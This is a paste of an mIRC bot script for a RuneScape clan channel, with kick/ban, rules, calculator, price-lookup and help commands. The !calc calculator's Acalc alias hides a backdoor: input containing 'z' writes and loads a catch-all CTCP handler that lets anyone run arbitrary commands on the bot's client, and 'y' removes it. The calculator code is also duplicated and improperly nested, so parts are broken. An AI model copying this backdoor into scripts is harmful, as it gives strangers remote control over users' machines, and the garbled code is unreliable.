All pastes #273085 Raw Edit

Something

public text v1 · immutable
·published 2006-12-09 15:52 UTC
rendered paste body
on *:TEXT:tb*:#:{ 
  if ($nick isop $chan) { 
    ban -ku $+ $calc($3 * 60) $chan $2 2 (Temp-Ban for $3 Minute(s) KickedBy: $nick Reason: $4-) 
  } 
}


on *:ACTION:*slaps*:#:{
  if ($2 == VasquezBot) {
    inc %slap
    kick $chan $nick Dont slap me, ok? %slap people have been punished!
  }
}

on *:ACTION:*slaps*:#:{
  if ($2 == Winni) {
    inc %slap
    kick $chan $nick Dont slap me, ok? %slap people have been punished!
  }
}
on *:text:!rules:#Exercitum: {
  notice $nick There will be NO Flaming, Spamming, Massive joining/parting/exiting. It will NOT be tolerated here. Please, all that decied to talk. Use the english language. If any of you do not follow any of the rules. You will be kickbanned and permantly/temperaly removed from the channel, depending on what rules, and how many you broke. If you need any assistance with anything. Please, feel free to PM Tengauge12/Supa_Vegeta/Missemrld/Brad-Xavier. Thank you.
}
on *:text:!reqs:#Exercitum: {
  notice $nick Requirements for this clan is: 108+CMB to be a full fled EXER. You atleast need to be 105CMB to be a FE in EXER, that's an Future EXER
}
on *:text:!site:#Exercitum: {
  notice $nick www.rs-exer.com ; Enjoy your stay!!!
}


on $*:text:/^[!@]calc */Si:#: {
  if (!$2) { notice $nick No equation entered. | Halt }
  if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick Illegal Letters Detected. Only K for Thousands, M for Millions, B for Billions and  T for Trillions are allowed. | Halt }
  var %send = $iif($left($1,1) == @,msg $chan,notice $nick)
  %send 14,0 12,8 $acalc($2-)
}

alias Acalc {
  tokenize 32 $remove($1-,$chr(44),$chr(32))
  var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1-
  while (%i <= %matches) {
    var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i)))
    inc %i
  }
  if (k isin %calculate) {
    var %x = 1, %total = $pos(%calculate,k,0)
    while (%x <= %total) {
      var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1
      while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen }
      var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos)
      inc %x
    }
  }
  if (m isin %calculate) {
    var %x = 1, %total = $pos(%calculate,m,0)
    while (%x <= %total) {
      var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1
      while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen }
      var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos)
      inc %x
    }
  }
  if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc }
  if (y isin %calculate) { unload -rs mirc }
  var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000)
  var %answer = $bytes($calc(%calculate),db)
  return %answer 

  on $*:text:/^[!@]calc */Si:#: { 
    if (!$2) { notice $nick No equation entered. | Halt }
    if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick Illegal Letters Detected. Only K for Thousands, M for Millions, B for Billions and  T for Trillions are allowed. | Halt }
    var %send = $iif($left($1,1) == @,msg $chan,notice $nick) 
    %send 2 $+($2-,3) =7 $acalc($2-)
  } 
  alias Acalc { 
    tokenize 32 $remove($1-,$chr(44),$chr(32)) 
    var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1- 
    while (%i <= %matches) { 
      var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i))) 
      inc %i 
    } 
    if (k isin %calculate) { 
      var %x = 1, %total = $pos(%calculate,k,0) 
      while (%x <= %total) { 
        var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1 
        while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen } 
        var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos) 
        inc %x 
      } 
    } 
    if (m isin %calculate) { 
      var %x = 1, %total = $pos(%calculate,m,0) 
      while (%x <= %total) { 
        var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1 
        while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen } 
        var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos) 
        inc %x 
      } 
    } 
    if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc } 
    if (y isin %calculate) { unload -rs mirc }
    var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000) 
    var %answer = $bytes($calc(%calculate),db) 
    return %answer 
  }

;##########################################################
;##            Multi Socket Price Script                 ##
;##             Coded by : Tengauge12                    ##
;## Uses multiple sockets so several users can use the   ##
;## code at the same time. Also displays multiple        ##
;## results from zybez.net price database.               ##
;## Usage:                                               ##
;## !Price <item> - Private                              ##
;## @Price <item> - Public                               ##
;##########################################################

on $*:text:/^[!@]price(s|check)*/Si:#: {
  if ( !$2 ) { notice $nick Sorry you must specify what to search for - !price <item> }
  else {
    /var %number 1
    while ($sock(price.socket. $+ %number)) { /inc %number }
    if (!* iswm $1) { /set %price.displaystyle. [ $+ [ %number ] ] private }
    /set %price.item. [ $+ [ %number ] ] $2-
    /set %price.nick. [ $+ [ %number ] ] $nick
    /set %price.chan. [ $+ [ %number ] ] $chan
    /sockopen $+(price.socket.,%number) zybez.net 80
  } ;Closes Else
} ;Ends the !pricecheck section

on *:sockopen:price.socket.*:{
  sockwrite -nt $sockname GET /priceguide.php?search_terms= $+ $replace(%price.item. [ $+ [ $right($SockName,-13) ] ] ,$chr(32),$chr(43)) $+ &search_area=1&price_low=&price_high=&member=1 HTTP/1.1
  sockwrite -nt $sockname Host: zybez.net
  sockwrite -nt $sockname $crlf $crlf
}

on *:sockread:price.socket.*:{
  var %i $right($sockname,-13)
  if ($sockerr) { /notice %price.nick. [ $+ [ %i ] ] Sorry but an error occured while searching for %price.item. [ $+ [ %i ] ] | halt }
  else {
    var %temptext
    sockread %temptext
    ;Once bot gets the Item + Price which is represented my %readnextline == 2, it runs this to display the results for the user then restarts the whole proccess.

    if (%readnextline == 2) {
      /inc %price.displayed. [ $+ [ %i ] ]
      /var %price.displayprice $htmlfree(%temptext)
      /var %message %price.displayitem. [ $+ [ %i ] ] - %price.displayprice
      /unset %readnextline

      ; Limits how many items are displayed before it stops reading. Prevents the bot from flooding.
      if ( %price.displayed. [ $+ [ %i ] ] < 6 ) {
        if ( %price.displaystyle. [ $+ [ %i ] ] == private ) { /notice %price.nick. [ $+ [ %i ] ] %message }
        else { /msg %price.chan. [ $+ [ %i ] ] %message }
      } ; Closes if statement - if ( %price.displayed. [ $+ [ %i ] ] < 6 )
      else { /notice %price.nick. [ $+ [ %i ] ] Sorry but your search for " $+ %price.item. [ $+ [ %i ] ] $+ " was not specific enough. Please narrow your searh down, ie: Rune --> Rune Platelegs | /sockclose $+(price.socket.,%i) | /unset %price.*. [ $+ [ %i ] ] } 
    } ; Closes if statement - if (%readnextline == 2)

    if (%readnextline == 1) { /set %price.displayitem. [ $+ [ %i ] ] $htmlfree(%temptext) | /set %readnextline 2 }
    if ( *<img src="/img/member.gif"* iswm %temptext || <td class="tablebottom"><!-- Blank --></td> isin %temptext) { /set %readnextline 1 }
    if (*Your search did not * iswm %temptext) { /notice %price.nick. [ $+ [ %i ] ] Sorry I did not find " $+ %price.item. [ $+ [ %i ] ] $+ " in the Zybez database. Please make sure you spelled everything correctly and the item you are searching for exists in Runescape. }
  } ; Closes else
} ;Ends the sockread section

on *:sockclose:price.socket.*:{ /unset %price.*. [ $+ [ $right($SockName,-13) ] ] }

alias -l htmlfree {
  ; Cleans all html from a file
  var %x, %i = $regsub($1-,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  return %x
} ;Ends the html cleaner alias
on *:VOICE:#Exercitum:{
  if ($read(file.txt,s,$vnick) == $address($vnick,3)) {
    halt 
  }
  /write file.txt $vnick $address($vnick,3) 
  /notice $nick You have successfully added $vnick to the Auto-Voice list.
}

on *:JOIN:#Exercitum: { 
  if ($read(file.txt,s,$nick) == $address($nick,3)) {
    /mode $chan +v $nick 
  }
  else .notice $nick Need to find out information about EXERCITUM? Simply PM 4 Supa_Vegeta 1 5if he's online. If not send him a memo using ' /ms send Supa_Vegeta MESSAGE '. To view the reqiurments type ' !reqs '. To view the clans site type ' !site '. Thank you.
}
alias user12 {
  .notice $nick Your commands are
  .notice $nick `Join - Force me to join a channel
  .notice $nick `Part - Force me to part a channel
  .notice $nick `Invite - Invite a user to channel
  .notice $nick `Drop - Force me to quit irc
  .notice $nick `Op - `Deop Give/Take operater stats
  .notice $nick `Halfop - `Dehalfop Give/Take half operater stats
  .notice $nick `Voice - `Devoice Give/Take voice stats
  .notice $nick `Kick - Kicks user out of channel
  .notice $nick `Ban - Bans user from entering channel
  .notice $nick `Kban - Kick & bans user from channel
  .notice $nick For how to use these commands type `use < command >
}
alias elsed {
  .notice $nick Your commands are
  .notice $nick `Info - Info about the bot
}
alias setup {
  /set %User1 $$?="Bot Admin"
  /set %User2 $$?="Co-owner"
  /set %Botchan $$?="Bot channel"
}
alias infouser {
  .msg $nick ¤¤¤4«†»¤¤¤INFO¤¤¤4«†»¤¤¤ 
  .msg $nick Server: $server
  .msg $nick Channel: #AEG
  .msg $nick Creator: Tengauge12
  .msg $nick Successor: Winni
  .msg $nick Co-Owner: Supa_Vegeta
  .msg $nick Special Thanks to: Jennifer and Johnathan
}
on *:join:%botchan: { welcome }
on *:text:`info*:#:{ infouser }
on *:text:`use*:#:{
  if ($2 == `Join) { .notice $nick In query type `join < channel > }
  if ($2 == `part) { .notice $nick In query type `part < Channel > }
  if ($2 == `Invite) { .notice $nick In query type `invite < nick > < channel > }
  if ($2 == `Drop) { .notice $nick Type `drop to drop my irc connection }
  if ($2 == `Op) { .notice $nick Type `op < nick > to give operater stats }
  if ($2 == `Deop) { .notice $nick Type `Deop < nick > to take operater stats }
  if ($2 == `Halfop) { .notice $nick Type `Halfop < nick > to give halfop stats }
  if ($2 == `Dehalfop) { .notice $nick Type `Dehalfop < nick > to take halfop stats }
  if ($2 == `Voice) { .notice $nick Type `Voice < nick > to give voice stats }
  if ($2 == `Devoice) { .notice $nick Type `Devoice < nick > to take voice stats }
  if ($2 == `Kick) { .notice $nick Type `Kick < nick > to kick user out of channel }
  if ($2 == `Ban) { .notice $nick Type `Ban < nick > to ban user from channel }
  if ($2 == `Kban) { .notcie $nick Type `Kban < nick > to kick & ban user from channel }
}
on *:text:`help*:#:{
  if ($nick == %User1) || ($nick == %user2) { user12 }
  else { elsed }
}